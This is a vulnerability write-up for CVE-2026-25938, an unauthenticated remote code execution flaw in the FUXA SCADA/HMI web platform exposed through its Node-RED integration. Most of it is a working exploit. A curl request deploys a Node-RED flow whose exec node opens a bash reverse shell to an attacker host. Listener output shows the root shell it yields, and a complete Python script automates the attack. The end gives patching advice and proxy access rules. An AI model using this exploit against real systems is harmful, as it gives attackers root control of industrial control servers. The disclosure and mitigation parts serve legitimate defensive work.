
An explanation and PoC to exploit CVE-2026-25938 Unauthenticated RCE Vulnerability on FUXA
FUXA is a free, open-source, web-based SCADA (Supervisory Control and Data Acquisition) and HMI (Human-Machine Interface) platform used for industrial automation, IoT, and real-time process visualization. It lets users build custom dashboards and monitor machines directly inside a web browser without requiring expensive proprietary software or heavy desktop editors.
CVE-2026-25938 affects FUXA versions 1.2.8 through 1.2.10 when the Node-RED integration is enabled (it is by default). The vulnerability stems from insufficient authentication enforcement on functionality that exposes Node-RED capabilities, allowing an unauthenticated remote attacker to access operations that should require authorization such as creating flows, one of them being able to execute commands on the system. Because Node-RED can execute flows with the privileges of the FUXA process, this authentication bypass can ultimately result in arbitrary remote code execution on the underlying server. The issue is addressed in FUXA 1.2.11 and later.
We will run a Docker Container using a vulnerable version of FUXA, in this case the 1.2.8 version:
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8
The following payload will trigger a reverse shell to the IP address specified in the exec node abusing the vulnerability:
tab node will create a flow called "RCE".inject node will trigger automatically when deployed. All those because of these parameters "once": true and "onceDelay": 0.1exec node will execute the command we want to execute, in this case the reverse shell. It is specified in "command": "bash <snip>".curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-H "Referer: http://192.168.1.201:1881/editor" \
-d '[
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": false,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": true,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": false,
"oldrc": false,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]'
If we create a listener for our reverse shell, we will receive a connection with a root shell when sending the payload:
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#
#!/usr/bin/env python3
import argparse
import requests
import sys
import json
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def exploit(target_url, listener_ip, listener_port):
# Extract host:port from URL for Referer
target_host = target_url.split("//")[1].split("/")[0]
# Build the full endpoint
if not target_url.endswith("/"):
target_url += "/"
endpoint = f"{target_url}nodered/flows"
# Payload for the exploit
payload = [
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": False,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": True,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": False,
"oldrc": False,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]
headers = {
"Content-Type": "application/json",
"Referer": f"http://{target_host}/editor"
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
if response.status_code == 200 or response.status_code == 204:
print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
else:
print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
except requests.exceptions.RequestException as e:
print(f"{RED}[-] Error occurred: {e}{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
_____ _ _ _____ _____ _____ _____ ____ _____ _____ _____ _____ _____
/ __ \ | | | ___| / __ \| _ |/ __ \ / ___| / __ \| ___|| _ ||____ | _ |
| / \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| | / /\ V /
| | | | | | __|______| / / | /| | / / | ___ \______| / / \ \\____ | \ \/ _ \
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /___| \_/ | ./ /___/\__/ /.___/ /.___/ / |_| |
\____/\___/\____/ \_____/ \___/ \_____/\_____/ \_____/\____/ \____/ \____/\_____/
""")
print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
args = argparse_setup()
banner()
exploit(args.url, args.listener_ip, args.listener_port)
if __name__ == "__main__":
main()
Update if possible to a version equal or up to 1.2.11, the vulnerability is fixed on version 1.2.11.
If it's not possible to update, you can do the following:
If using Apache as a entry point to the application. It won't work if Apache can't see the IP of the client because of NAT, Docker Proxy, etc.
<LocationMatch "^/nodered/">
Require ip 127.0.0.1
Require ip ::1
Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>
If using NGINX as a entry point to the application. It won't work if NGINX can't see the IP of the client because of NAT, Docker Proxy, etc.
location /nodered/ {
allow 127.0.0.1;
allow ::1;
allow <TRUSTED_MGMT_CIDR>;
deny all;
}